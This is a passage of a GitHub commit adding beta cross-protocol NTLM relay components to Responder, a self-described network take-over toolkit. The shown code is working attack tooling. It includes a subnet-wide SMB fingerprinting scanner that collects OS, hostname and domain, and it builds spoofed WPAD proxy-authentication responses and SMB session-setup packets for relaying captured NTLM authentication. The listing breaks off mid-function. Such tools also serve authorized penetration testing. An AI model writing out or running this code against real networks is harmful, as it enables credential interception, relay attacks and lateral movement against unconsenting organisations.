mirror of
https://github.com/lgandx/Responder.git
synced 2025-07-11 23:56:16 -07:00
Added: Cross-protocol NTLMv1-2 relay (beta).
This commit is contained in:
lgandx
parent
5f1fa4a00f
commit
ab67070a2b
6 changed files with 1951 additions and 0 deletions
225
tools/RelayHTTPSMB/Finger.py
Executable file
225
tools/RelayHTTPSMB/Finger.py
Executable file
|
|
@ -0,0 +1,225 @@
|
||||||
|
#!/usr/bin/env python
|
||||||
|
# This file is part of Responder, a network take-over set of tools
|
||||||
|
# created and maintained by Laurent Gaffie.
|
||||||
|
# email: laurent.gaffie@gmail.com
|
||||||
|
# This program is free software: you can redistribute it and/or modify
|
||||||
|
# it under the terms of the GNU General Public License as published by
|
||||||
|
# the Free Software Foundation, either version 3 of the License, or
|
||||||
|
# (at your option) any later version.
|
||||||
|
#
|
||||||
|
# This program is distributed in the hope that it will be useful,
|
||||||
|
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||||
|
# GNU General Public License for more details.
|
||||||
|
#
|
||||||
|
# You should have received a copy of the GNU General Public License
|
||||||
|
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
|
import re,sys,socket,struct
|
||||||
|
from socket import *
|
||||||
|
from odict import OrderedDict
|
||||||
|
|
||||||
|
__version__ = "0.3"
|
||||||
|
Timeout = 0.5
|
||||||
|
class Packet():
|
||||||
|
fields = OrderedDict([
|
||||||
|
])
|
||||||
|
def __init__(self, **kw):
|
||||||
|
self.fields = OrderedDict(self.__class__.fields)
|
||||||
|
for k,v in kw.items():
|
||||||
|
if callable(v):
|
||||||
|
self.fields[k] = v(self.fields[k])
|
||||||
|
else:
|
||||||
|
self.fields[k] = v
|
||||||
|
def __str__(self):
|
||||||
|
return "".join(map(str, self.fields.values()))
|
||||||
|
|
||||||
|
def longueur(payload):
|
||||||
|
length = struct.pack(">i", len(''.join(payload)))
|
||||||
|
return length
|
||||||
|
|
||||||
|
class SMBHeader(Packet):
|
||||||
|
fields = OrderedDict([
|
||||||
|
("proto", "\xff\x53\x4d\x42"),
|
||||||
|
("cmd", "\x72"),
|
||||||
|
("error-code", "\x00\x00\x00\x00" ),
|
||||||
|
("flag1", "\x00"),
|
||||||
|
("flag2", "\x00\x00"),
|
||||||
|
("pidhigh", "\x00\x00"),
|
||||||
|
("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"),
|
||||||
|
("reserved", "\x00\x00"),
|
||||||
|
("tid", "\x00\x00"),
|
||||||
|
("pid", "\x00\x00"),
|
||||||
|
("uid", "\x00\x00"),
|
||||||
|
("mid", "\x00\x00"),
|
||||||
|
])
|
||||||
|
|
||||||
|
class SMBNego(Packet):
|
||||||
|
fields = OrderedDict([
|
||||||
|
("Wordcount", "\x00"),
|
||||||
|
("Bcc", "\x62\x00"),
|
||||||
|
("Data", "")
|
||||||
|
])
|
||||||
|
|
||||||
|
def calculate(self):
|
||||||
|
self.fields["Bcc"] = struct.pack("<h",len(str(self.fields["Data"])))
|
||||||
|
|
||||||
|
class SMBNegoData(Packet):
|
||||||
|
fields = OrderedDict([
|
||||||
|
("BuffType","\x02"),
|
||||||
|
("Dialect", "NT LM 0.12\x00"),
|
||||||
|
])
|
||||||
|
|
||||||
|
|
||||||
|
class SMBSessionFingerData(Packet):
|
||||||
|
fields = OrderedDict([
|
||||||
|
("wordcount", "\x0c"),
|
||||||
|
("AndXCommand", "\xff"),
|
||||||
|
("reserved","\x00" ),
|
||||||
|
("andxoffset", "\x00\x00"),
|
||||||
|
("maxbuff","\x04\x11"),
|
||||||
|
("maxmpx", "\x32\x00"),
|
||||||
|
("vcnum","\x00\x00"),
|
||||||
|
("sessionkey", "\x00\x00\x00\x00"),
|
||||||
|
("securitybloblength","\x4a\x00"),
|
||||||
|
("reserved2","\x00\x00\x00\x00"),
|
||||||
|
("capabilities", "\xd4\x00\x00\xa0"),
|
||||||
|
("bcc1",""),
|
||||||
|
("Data","\x60\x48\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x3e\x30\x3c\xa0\x0e\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a\xa2\x2a\x04\x28\x4e\x54\x4c\x4d\x53\x53\x50\x00\x01\x00\x00\x00\x07\x82\x08\xa2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x01\x28\x0a\x00\x00\x00\x0f\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x53\x00\x65\x00\x72\x00\x76\x00\x69\x00\x63\x00\x65\x00\x20\x00\x50\x00\x61\x00\x63\x00\x6b\x00\x20\x00\x33\x00\x20\x00\x32\x00\x36\x00\x30\x00\x30\x00\x00\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x35\x00\x2e\x00\x31\x00\x00\x00\x00\x00"),
|
||||||
|
|
||||||
|
])
|
||||||
|
def calculate(self):
|
||||||
|
self.fields["bcc1"] = struct.pack("<i", len(str(self.fields["Data"])))[:2]
|
||||||
|
|
||||||
|
##Now Lanman
|
||||||
|
class SMBHeaderLanMan(Packet):
|
||||||
|
fields = OrderedDict([
|
||||||
|
("proto", "\xff\x53\x4d\x42"),
|
||||||
|
("cmd", "\x72"),
|
||||||
|
("error-code", "\x00\x00\x00\x00" ),
|
||||||
|
("flag1", "\x08"),
|
||||||
|
("flag2", "\x01\xc8"),
|
||||||
|
("pidhigh", "\x00\x00"),
|
||||||
|
("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"),
|
||||||
|
("reserved", "\x00\x00"),
|
||||||
|
("tid", "\x00\x00"),
|
||||||
|
("pid", "\x3c\x1b"),
|
||||||
|
("uid", "\x00\x00"),
|
||||||
|
("mid", "\x00\x00"),
|
||||||
|
])
|
||||||
|
|
||||||
|
class SMBNegoDataLanMan(Packet):
|
||||||
|
fields = OrderedDict([
|
||||||
|
("Wordcount", "\x00"),
|
||||||
|
("Bcc", "\x54\x00"),
|
||||||
|
("BuffType","\x02"),
|
||||||
|
("Dialect", "NT LM 0.12\x00"),
|
||||||
|
|
||||||
|
])
|
||||||
|
def calculate(self):
|
||||||
|
CalculateBCC = str(self.fields["BuffType"])+str(self.fields["Dialect"])
|
||||||
|
self.fields["Bcc"] = struct.pack("<h",len(CalculateBCC))
|
||||||
|
|
||||||
|
#####################
|
||||||
|
|
||||||
|
def atod(a):
|
||||||
|
return struct.unpack("!L",inet_aton(a))[0]
|
||||||
|
|
||||||
|
def dtoa(d):
|
||||||
|
return inet_ntoa(struct.pack("!L", d))
|
||||||
|
|
||||||
|
def OsNameClientVersion(data):
|
||||||
|
try:
|
||||||
|
length = struct.unpack('<H',data[43:45])[0]
|
||||||
|
OsVersion, ClientVersion = tuple([e.replace('\x00','') for e in data[47+length:].split('\x00\x00\x00')[:2]])
|
||||||
|
return OsVersion, ClientVersion
|
||||||
|
|
||||||
|
except:
|
||||||
|
return "Could not fingerprint Os version.", "Could not fingerprint LanManager Client version"
|
||||||
|
|
||||||
|
def GetHostnameAndDomainName(data):
|
||||||
|
try:
|
||||||
|
DomainJoined, Hostname = tuple([e.replace('\x00','') for e in data[81:].split('\x00\x00\x00')[:2]])
|
||||||
|
return Hostname, DomainJoined
|
||||||
|
except:
|
||||||
|
return "Could not get Hostname.", "Could not get Domain joined"
|
||||||
|
|
||||||
|
def DomainGrab(Host):
|
||||||
|
s = socket(AF_INET, SOCK_STREAM)
|
||||||
|
try:
|
||||||
|
s.settimeout(Timeout)
|
||||||
|
s.connect(Host)
|
||||||
|
except:
|
||||||
|
print "Host down or port close, skipping"
|
||||||
|
pass
|
||||||
|
try:
|
||||||
|
h = SMBHeaderLanMan(cmd="\x72",mid="\x01\x00",flag1="\x00", flag2="\x00\x00")
|
||||||
|
n = SMBNegoDataLanMan()
|
||||||
|
n.calculate()
|
||||||
|
packet0 = str(h)+str(n)
|
||||||
|
buffer0 = longueur(packet0)+packet0
|
||||||
|
s.send(buffer0)
|
||||||
|
data = s.recv(2048)
|
||||||
|
if data[8:10] == "\x72\x00":
|
||||||
|
return GetHostnameAndDomainName(data)
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
|
||||||
|
def SmbFinger(Host):
|
||||||
|
s = socket(AF_INET, SOCK_STREAM)
|
||||||
|
try:
|
||||||
|
s.settimeout(Timeout)
|
||||||
|
s.connect(Host)
|
||||||
|
except:
|
||||||
|
print "Host down or port close, skipping"
|
||||||
|
pass
|
||||||
|
try:
|
||||||
|
h = SMBHeader(cmd="\x72",flag1="\x18",flag2="\x53\xc8")
|
||||||
|
n = SMBNego(Data = SMBNegoData())
|
||||||
|
n.calculate()
|
||||||
|
packet0 = str(h)+str(n)
|
||||||
|
buffer0 = longueur(packet0)+packet0
|
||||||
|
s.send(buffer0)
|
||||||
|
data = s.recv(2048)
|
||||||
|
if data[8:10] == "\x72\x00":
|
||||||
|
head = SMBHeader(cmd="\x73",flag1="\x18",flag2="\x17\xc8",uid="\x00\x00")
|
||||||
|
t = SMBSessionFingerData()
|
||||||
|
t.calculate()
|
||||||
|
packet0 = str(head)+str(t)
|
||||||
|
buffer1 = longueur(packet0)+packet0
|
||||||
|
s.send(buffer1)
|
||||||
|
data = s.recv(2048)
|
||||||
|
if data[8:10] == "\x73\x16":
|
||||||
|
return OsNameClientVersion(data)
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
##################
|
||||||
|
#run it
|
||||||
|
def ShowResults(Host):
|
||||||
|
s = socket(AF_INET, SOCK_STREAM)
|
||||||
|
try:
|
||||||
|
s.settimeout(Timeout)
|
||||||
|
s.connect(Host)
|
||||||
|
except:
|
||||||
|
raise
|
||||||
|
return False
|
||||||
|
|
||||||
|
try:
|
||||||
|
print "Retrieving information for %s..."%Host[0]
|
||||||
|
OsVer, LanManClient = SmbFinger(Host)
|
||||||
|
print "Os version: '%s'\nLanman Client: '%s'"%(OsVer, LanManClient)
|
||||||
|
Hostname, DomainJoined = DomainGrab(Host)
|
||||||
|
print "Machine Hostname: '%s'\nThis machine is part of the '%s' domain\n"%(Hostname, DomainJoined)
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
|
||||||
|
def RunFinger(Host):
|
||||||
|
m = re.search("/", str(Host))
|
||||||
|
if m :
|
||||||
|
net,_,mask = Host.partition('/')
|
||||||
|
mask = int(mask)
|
||||||
|
net = atod(net)
|
||||||
|
for host in (dtoa(net+n) for n in range(0, 1<<32-mask)):
|
||||||
|
ShowResults((host,445))
|
||||||
|
else:
|
||||||
|
ShowResults((Host,445))
|
||||||
|
|
||||||
908
tools/RelayHTTPSMB/HTTPRelayPacket.py
Normal file
908
tools/RelayHTTPSMB/HTTPRelayPacket.py
Normal file
|
|
@ -0,0 +1,908 @@
|
||||||
|
#!/usr/bin/env python
|
||||||
|
# This file is part of Responder, a network take-over set of tools
|
||||||
|
# created and maintained by Laurent Gaffie.
|
||||||
|
# email: laurent.gaffie@gmail.com
|
||||||
|
# This program is free software: you can redistribute it and/or modify
|
||||||
|
# it under the terms of the GNU General Public License as published by
|
||||||
|
# the Free Software Foundation, either version 3 of the License, or
|
||||||
|
# (at your option) any later version.
|
||||||
|
#
|
||||||
|
# This program is distributed in the hope that it will be useful,
|
||||||
|
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||||
|
# GNU General Public License for more details.
|
||||||
|
#
|
||||||
|
# You should have received a copy of the GNU General Public License
|
||||||
|
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
|
import struct
|
||||||
|
import sys
|
||||||
|
import random
|
||||||
|
import time
|
||||||
|
from odict import OrderedDict
|
||||||
|
import datetime
|
||||||
|
from base64 import b64decode, b64encode
|
||||||
|
|
||||||
|
def longueur(payload):
|
||||||
|
length = struct.pack(">i", len(''.join(payload)))
|
||||||
|
return length
|
||||||
|
|
||||||
|
class Packet():
|
||||||
|
fields = OrderedDict([
|
||||||
|
("data", ""),
|
||||||
|
])
|
||||||
|
def __init__(self, **kw):
|
||||||
|
self.fields = OrderedDict(self.__class__.fields)
|
||||||
|
for k,v in kw.items():
|
||||||
|
if callable(v):
|
||||||
|
self.fields[k] = v(self.fields[k])
|
||||||
|
else:
|
||||||
|
self.fields[k] = v
|
||||||
|
def __str__(self):
|
||||||
|
return "".join(map(str, self.fields.values()))
|
||||||
|
|
||||||
|
##################HTTP Proxy Relay##########################
|
||||||
|
def HTTPCurrentDate():
|
||||||
|
Date = datetime.datetime.utcnow().strftime('%a, %d %b %Y %H:%M:%S GMT')
|
||||||
|
return Date
|
||||||
|
|
||||||
|
class WPAD_Auth_407_Ans(Packet):
|
||||||
|
fields = OrderedDict([
|
||||||
|
("Code", "HTTP/1.1 407 Unauthorized\r\n"),
|
||||||
|
("ServerType", "Server: Microsoft-IIS/7.5\r\n"),
|
||||||
|
("Date", "Date: "+HTTPCurrentDate()+"\r\n"),
|
||||||
|
("Type", "Content-Type: text/html\r\n"),
|
||||||
|
("WWW-Auth", "Proxy-Authenticate: NTLM\r\n"),
|
||||||
|
("Connection", "Proxy-Connection: close\r\n"),
|
||||||
|
("Cache-Control", "Cache-Control: no-cache\r\n"),
|
||||||
|
("Pragma", "Pragma: no-cache\r\n"),
|
||||||
|
("Proxy-Support", "Proxy-Support: Session-Based-Authentication\r\n"),
|
||||||
|
("Len", "Content-Length: 0\r\n"),
|
||||||
|
("CRLF", "\r\n"),
|
||||||
|
])
|
||||||
|
|
||||||
|
|
||||||
|
class WPAD_NTLM_Challenge_Ans(Packet):
|
||||||
|
fields = OrderedDict([
|
||||||
|
("Code", "HTTP/1.1 407 Unauthorized\r\n"),
|
||||||
|
("ServerType", "Server: Microsoft-IIS/7.5\r\n"),
|
||||||
|
("Date", "Date: "+HTTPCurrentDate()+"\r\n"),
|
||||||
|
("Type", "Content-Type: text/html\r\n"),
|
||||||
|
("WWWAuth", "Proxy-Authenticate: NTLM "),
|
||||||
|
("Payload", ""),
|
||||||
|
("Payload-CRLF", "\r\n"),
|
||||||
|
("Len", "Content-Length: 0\r\n"),
|
||||||
|
("CRLF", "\r\n"),
|
||||||
|
])
|
||||||
|
|
||||||
|
def calculate(self,payload):
|
||||||
|
self.fields["Payload"] = b64encode(payload)
|
||||||
|
|
||||||
|
##################SMB Relay Packet##########################
|
||||||
|
class SMBHeader(Packet):
|
||||||
|
fields = OrderedDict([
|
||||||
|
("proto", "\xff\x53\x4d\x42"),
|
||||||
|
("cmd", "\x72"),
|
||||||
|
("error-code", "\x00\x00\x00\x00" ),
|
||||||
|
("flag1", "\x08"),
|
||||||
|
("flag2", "\x01\xc8"),
|
||||||
|
("pidhigh", "\x00\x00"),
|
||||||
|
("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"),
|
||||||
|
("Reserved", "\x00\x00"),
|
||||||
|
("tid", "\x00\x00"),
|
||||||
|
("pid", "\x3c\x1b"),
|
||||||
|
("uid", "\x00\x00"),
|
||||||
|
("mid", "\x00\x00"),
|
||||||
|
])
|
||||||
|
|
||||||
|
class SMBNegoCairo(Packet):
|
||||||
|
fields = OrderedDict([
|
||||||
|
("Wordcount", "\x00"),
|
||||||
|
("Bcc", "\x62\x00"),
|
||||||
|
("Data", "")
|
||||||
|
])
|
||||||
|
|
||||||
|
def calculate(self):
|
||||||
|
self.fields["Bcc"] = struct.pack("<H",len(str(self.fields["Data"])))
|
||||||
|
|
||||||
|
class SMBNegoCairoData(Packet):
|
||||||
|
fields = OrderedDict([
|
||||||
|
("Separator1","\x02" ),
|
||||||
|
("Dialect1", "Cairo 0.xa\x00"), #Let's talk Cairo!
|
||||||
|
])
|
||||||
|
|
||||||
|
class SMBSessionSetupAndxNEGO(Packet):
|
||||||
|
fields = OrderedDict([
|
||||||
|
("Wordcount", "\x0c"),
|
||||||
|
("AndXCommand", "\xff"),
|
||||||
|
("Reserved","\x00" ),
|
||||||
|
("AndXOffset", "\xec\x00"),
|
||||||
|
("MaxBuff","\xff\xff"),
|
||||||
|
("MaxMPX", "\x32\x00"),
|
||||||
|
("VCNumber","\x00\x00"),
|
||||||
|
("SessionKey", "\x00\x00\x00\x00"),
|
||||||
|
("SecBlobLen","\x4a\x00"),
|
||||||
|
("Reserved2","\x00\x00\x00\x00"),
|
||||||
|
("Capabilities", "\xfc\xe3\x01\x80"),
|
||||||
|
("Bcc","\xb1\x00"),
|
||||||
|
##gss api starts here.
|
||||||
|
("ApplicationHeaderTag","\x60"),
|
||||||
|
("ApplicationHeaderLen","\x48"),
|
||||||
|
("AsnSecMechType","\x06"),
|
||||||
|
("AsnSecMechLen","\x06"),
|
||||||
|
("AsnSecMechStr","\x2b\x06\x01\x05\x05\x02"),
|
||||||
|
("ChoosedTag","\xa0"),
|
||||||
|
("ChoosedTagStrLen","\x3e"),
|
||||||
|
("NegTokenInitSeqHeadTag","\x30"),
|
||||||
|
("NegTokenInitSeqHeadLen","\x3c"),
|
||||||
|
("NegTokenInitSeqHeadTag1","\xA0"),
|
||||||
|
("NegTokenInitSeqHeadLen1","\x0e"),
|
||||||
|
("NegTokenInitSeqNLMPTag","\x30"),
|
||||||
|
("NegTokenInitSeqNLMPLen","\x0c"),
|
||||||
|
("NegTokenInitSeqNLMPTag1","\x06"),
|
||||||
|
("NegTokenInitSeqNLMPTag1Len","\x0a"),
|
||||||
|
("NegTokenInitSeqNLMPTag1Str","\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a"),
|
||||||
|
("NegTokenInitSeqNLMPTag2","\xa2"),
|
||||||
|
("NegTokenInitSeqNLMPTag2Len","\x2a"),
|
||||||
|
("NegTokenInitSeqNLMPTag2Octet","\x04"),
|
||||||
|
("NegTokenInitSeqNLMPTag2OctetLen","\x28"),
|
||||||
|
## NTLM packet ##
|
||||||
|
("Data", ""),
|
||||||
|
## NTLM packet ##
|
||||||
|
("NegTokenInitSeqMechMessageVersionTerminator","\x00"),
|
||||||
|
("NativeOs","Windows 2002 Service Pack 3 2600"),
|
||||||
|
("NativeOsTerminator","\x00\x00"),
|
||||||
|
("NativeLan","Windows 2002 5.1"),
|
||||||
|
("NativeLanTerminator","\x00\x00\x00\x00"),
|
||||||
|
|
||||||
|
])
|
||||||
|
def calculate(self):
|
||||||
|
|
||||||
|
self.fields["NativeOs"] = self.fields["NativeOs"].encode('utf-16le')
|
||||||
|
self.fields["NativeLan"] = self.fields["NativeLan"].encode('utf-16le')
|
||||||
|
|
||||||
|
CompleteSMBPacketLen = str(self.fields["Wordcount"])+str(self.fields["AndXCommand"])+str(self.fields["Reserved"])+str(self.fields["AndXOffset"])+str(self.fields["MaxBuff"])+str(self.fields["MaxMPX"])+str(self.fields["VCNumber"])+str(self.fields["SessionKey"])+str(self.fields["SecBlobLen"])+str(self.fields["Reserved2"])+str(self.fields["Capabilities"])+str(self.fields["Bcc"])+str(self.fields["ApplicationHeaderTag"])+str(self.fields["ApplicationHeaderLen"])+str(self.fields["AsnSecMechType"])+str(self.fields["AsnSecMechLen"])+str(self.fields["AsnSecMechStr"])+str(self.fields["ChoosedTag"])+str(self.fields["ChoosedTagStrLen"])+str(self.fields["NegTokenInitSeqHeadTag"])+str(self.fields["NegTokenInitSeqHeadLen"])+str(self.fields["NegTokenInitSeqHeadTag1"])+str(self.fields["NegTokenInitSeqHeadLen1"])+str(self.fields["NegTokenInitSeqNLMPTag"])+str(self.fields["NegTokenInitSeqNLMPLen"])+str(self.fields["NegTokenInitSeqNLMPTag1"])+str(self.fields["NegTokenInitSeqNLMPTag1Len"])+str(self.fields["NegTokenInitSeqNLMPTag1Str"])+str(self.fields["NegTokenInitSeqNLMPTag2"])+str(self.fields["NegTokenInitSeqNLMPTag2Len"])+str(self.fields["NegTokenInitSeqNLMPTag2Octet"])+str(self.fields["NegTokenInitSeqNLMPTag2OctetLen"])+str(self.fields["Data"])+str(self.fields["NegTokenInitSeqMechMessageVersionTerminator"])+str(self.fields["NativeOs"])+str(self.fields["NativeOsTerminator"])+str(self.fields["NativeLan"])+str(self.fields["NativeLanTerminator"])
|
||||||
|
|
||||||
|
|
||||||
|
SecBlobLen = str(self.fields["ApplicationHeaderTag"])+str(self.fields["ApplicationHeaderLen"])+str(self.fields["AsnSecMechType"])+str(self.fields["AsnSecMechLen"])+str(self.fields["AsnSecMechStr"])+str(self.fields["ChoosedTag"])+str(self.fields["ChoosedTagStrLen"])+str(self.fields["NegTokenInitSeqHeadTag"])+str(self.fields["NegTokenInitSeqHeadLen"])+str(self.fields["NegTokenInitSeqHeadTag1"])+str(self.fields["NegTokenInitSeqHeadLen1"])+str(self.fields["NegTokenInitSeqNLMPTag"])+str(self.fields["NegTokenInitSeqNLMPLen"])+str(self.fields["NegTokenInitSeqNLMPTag1"])+str(self.fields["NegTokenInitSeqNLMPTag1Len"])+str(self.fields["NegTokenInitSeqNLMPTag1Str"])+str(self.fields["NegTokenInitSeqNLMPTag2"])+str(self.fields["NegTokenInitSeqNLMPTag2Len"])+str(self.fields["NegTokenInitSeqNLMPTag2Octet"])+str(self.fields["NegTokenInitSeqNLMPTag2OctetLen"])+str(self.fields["Data"])
|
||||||
|
|
||||||
|
|
||||||
|
data3 = str(self.fields["NegTokenInitSeqHeadTag"])+str(self.fields["NegTokenInitSeqHeadLen"])+str(self.fields["NegTokenInitSeqHeadTag1"])+str(self.fields["NegTokenInitSeqHeadLen1"])+str(self.fields["NegTokenInitSeqNLMPTag"])+str(self.fields["NegTokenInitSeqNLMPLen"])+str(self.fields["NegTokenInitSeqNLMPTag1"])+str(self.fields["NegTokenInitSeqNLMPTag1Len"])+str(self.fields["NegTokenInitSeqNLMPTag1Str"])+str(self.fields["NegTokenInitSeqNLMPTag2"])+str(self.fields["NegTokenInitSeqNLMPTag2Len"])+str(self.fields["NegTokenInitSeqNLMPTag2Octet"])+str(self.fields["NegTokenInitSeqNLMPTag2OctetLen"])+str(self.fields["Data"])
|
||||||
|
|
||||||
|
data4 = str(self.fields["NegTokenInitSeqHeadTag1"])+str(self.fields["NegTokenInitSeqHeadLen1"])+str(self.fields["NegTokenInitSeqNLMPTag"])+str(self.fields["NegTokenInitSeqNLMPLen"])+str(self.fields["NegTokenInitSeqNLMPTag1"])+str(self.fields["NegTokenInitSeqNLMPTag1Len"])+str(self.fields["NegTokenInitSeqNLMPTag1Str"])+str(self.fields["NegTokenInitSeqNLMPTag2"])+str(self.fields["NegTokenInitSeqNLMPTag2Len"])+str(self.fields["NegTokenInitSeqNLMPTag2Octet"])+str(self.fields["NegTokenInitSeqNLMPTag2OctetLen"])+str(self.fields["Data"])
|
||||||
|
|
||||||
|
data5 = str(self.fields["ApplicationHeaderTag"])+str(self.fields["ApplicationHeaderLen"])+str(self.fields["AsnSecMechType"])+str(self.fields["AsnSecMechLen"])+str(self.fields["AsnSecMechStr"])+str(self.fields["ChoosedTag"])+str(self.fields["ChoosedTagStrLen"])+str(self.fields["NegTokenInitSeqHeadTag"])+str(self.fields["NegTokenInitSeqHeadLen"])+str(self.fields["NegTokenInitSeqHeadTag1"])+str(self.fields["NegTokenInitSeqHeadLen1"])+str(self.fields["NegTokenInitSeqNLMPTag"])+str(self.fields["NegTokenInitSeqNLMPLen"])+str(self.fields["NegTokenInitSeqNLMPTag1"])+str(self.fields["NegTokenInitSeqNLMPTag1Len"])+str(self.fields["NegTokenInitSeqNLMPTag1Str"])+str(self.fields["NegTokenInitSeqNLMPTag2"])+str(self.fields["NegTokenInitSeqNLMPTag2Len"])+str(self.fields["NegTokenInitSeqNLMPTag2Octet"])+str(self.fields["NegTokenInitSeqNLMPTag2OctetLen"])+str(self.fields["Data"])+str(self.fields["NegTokenInitSeqMechMessageVersionTerminator"])+str(self.fields["NativeOs"])+str(self.fields["NativeOsTerminator"])+str(self.fields["NativeLan"])+str(self.fields["NativeLanTerminator"])
|
||||||
|
|
||||||
|
data6 = str(self.fields["NegTokenInitSeqNLMPTag2Octet"])+str(self.fields["NegTokenInitSeqNLMPTag2OctetLen"])+str(self.fields["Data"])
|
||||||
|
|
||||||
|
data10 = str(self.fields["NegTokenInitSeqNLMPTag"])+str(self.fields["NegTokenInitSeqNLMPLen"])+str(self.fields["NegTokenInitSeqNLMPTag1"])+str(self.fields["NegTokenInitSeqNLMPTag1Len"])+str(self.fields["NegTokenInitSeqNLMPTag1Str"])
|
||||||
|
|
||||||
|
data11 = str(self.fields["NegTokenInitSeqNLMPTag1"])+str(self.fields["NegTokenInitSeqNLMPTag1Len"])+str(self.fields["NegTokenInitSeqNLMPTag1Str"])
|
||||||
|
|
||||||
|
|
||||||
|
## Packet len
|
||||||
|
self.fields["AndXOffset"] = struct.pack("<h", len(CompleteSMBPacketLen)+32)
|
||||||
|
##Buff Len
|
||||||
|
self.fields["SecBlobLen"] = struct.pack("<h", len(SecBlobLen))
|
||||||
|
##Complete Buff Len
|
||||||
|
self.fields["Bcc"] = struct.pack("<h", len(CompleteSMBPacketLen)-27)#session setup struct is 27.
|
||||||
|
##App Header
|
||||||
|
self.fields["ApplicationHeaderLen"] = struct.pack("<B", len(SecBlobLen)-2)
|
||||||
|
##Asn Field 1
|
||||||
|
self.fields["AsnSecMechLen"] = struct.pack("<B", len(str(self.fields["AsnSecMechStr"])))
|
||||||
|
##Asn Field 1
|
||||||
|
self.fields["ChoosedTagStrLen"] = struct.pack("<B", len(data3))
|
||||||
|
##SpNegoTokenLen
|
||||||
|
self.fields["NegTokenInitSeqHeadLen"] = struct.pack("<B", len(data4))
|
||||||
|
##NegoTokenInit
|
||||||
|
self.fields["NegTokenInitSeqHeadLen1"] = struct.pack("<B", len(data10))
|
||||||
|
## Tag0 Len
|
||||||
|
self.fields["NegTokenInitSeqNLMPLen"] = struct.pack("<B", len(data11))
|
||||||
|
## Tag0 Str Len
|
||||||
|
self.fields["NegTokenInitSeqNLMPTag1Len"] = struct.pack("<B", len(str(self.fields["NegTokenInitSeqNLMPTag1Str"])))
|
||||||
|
## Tag2 Len
|
||||||
|
self.fields["NegTokenInitSeqNLMPTag2Len"] = struct.pack("<B", len(data6))
|
||||||
|
## Tag3 Len
|
||||||
|
self.fields["NegTokenInitSeqNLMPTag2OctetLen"] = struct.pack("<B", len(str(self.fields["Data"])))
|
||||||
|
|
||||||
|
|
||||||
|
class SMBSessionSetupAndxAUTH(Packet):
|
||||||
|
fields = OrderedDict([
|
||||||
|
("wordcount", "\x0c"),
|
||||||
|
("AndXCommand", "\xff"),
|
||||||
|
("reserved","\x00" ),
|
||||||
|
("andxoffset", "\xfa\x00"),
|
||||||
|
("maxbuff","\xff\xff"),
|
||||||
|
("maxmpx", "\x32\x00"),
|
||||||
|
("vcnum","\x01\x00"),
|
||||||
|
("sessionkey", "\x00\x00\x00\x00"),
|
||||||
|
("securitybloblength","\x59\x00"),
|
||||||
|
("reserved2","\x00\x00\x00\x00"),
|
||||||
|
("capabilities", "\xfc\xe3\x01\x80"),
|
||||||
|
("bcc1","\xbf\x00"),
|
||||||
|
("ApplicationHeaderTag","\xa1"),
|
||||||
|
("ApplicationHeaderTagLenOfLen","\x81"),
|
||||||
|
("ApplicationHeaderLen","\xd1"),
|
||||||
|
("AsnSecMechType","\x30"),
|
||||||
|
("AsnSecMechLenOfLen","\x81"),
|
||||||
|
("AsnSecMechLen","\xce"),
|
||||||
|
("ChoosedTag","\xa2"),
|
||||||
|
("ChoosedTagLenOfLen","\x81"),
|
||||||
|
("ChoosedTagLen","\xcb"),
|
||||||
|
("ChoosedTag1","\x04"),
|
||||||
|
("ChoosedTag1StrLenOfLen","\x81"),
|
||||||
|
("ChoosedTag1StrLen","\xc8"),
|
||||||
|
#### NTLM Packet ####
|
||||||
|
("Data", ""),
|
||||||
|
#### End Of SMB ####
|
||||||
|
("NLMPAuthMsgNull","\x00"),
|
||||||
|
("NativeOs","Unix"),
|
||||||
|
("NativeOsTerminator","\x00\x00"),
|
||||||
|
("ExtraNull",""),
|
||||||
|
("NativeLan","Samba"),
|
||||||
|
("NativeLanTerminator","\x00\x00"),
|
||||||
|
("AndxPadding",""),
|
||||||
|
])
|
||||||
|
|
||||||
|
|
||||||
|
def calculate(self):
|
||||||
|
self.fields["NativeOs"] = self.fields["NativeOs"].encode('utf-16le')
|
||||||
|
self.fields["NativeLan"] = self.fields["NativeLan"].encode('utf-16le')
|
||||||
|
|
||||||
|
SecurityBlobLen = str(self.fields["ApplicationHeaderTag"])+str(self.fields["ApplicationHeaderTagLenOfLen"])+str(self.fields["ApplicationHeaderLen"])+str(self.fields["AsnSecMechType"])+str(self.fields["AsnSecMechLenOfLen"])+str(self.fields["AsnSecMechLen"])+str(self.fields["ChoosedTag"])+str(self.fields["ChoosedTagLenOfLen"])+str(self.fields["ChoosedTagLen"])+str(self.fields["ChoosedTag1"])+str(self.fields["ChoosedTag1StrLenOfLen"])+str(self.fields["ChoosedTag1StrLen"])+str(self.fields["Data"])
|
||||||
|
|
||||||
|
NTLMData = str(self.fields["Data"])
|
||||||
|
###### ASN Stuff
|
||||||
|
if len(NTLMData) > 255:
|
||||||
|
self.fields["ApplicationHeaderTagLenOfLen"] = "\x82"
|
||||||
|
self.fields["ApplicationHeaderLen"] = struct.pack(">H", len(SecurityBlobLen)-0)
|
||||||
|
else:
|
||||||
|
self.fields["ApplicationHeaderTagLenOfLen"] = "\x81"
|
||||||
|
self.fields["ApplicationHeaderLen"] = struct.pack(">B", len(SecurityBlobLen)-3)
|
||||||
|
|
||||||
|
if len(NTLMData)-8 > 255:
|
||||||
|
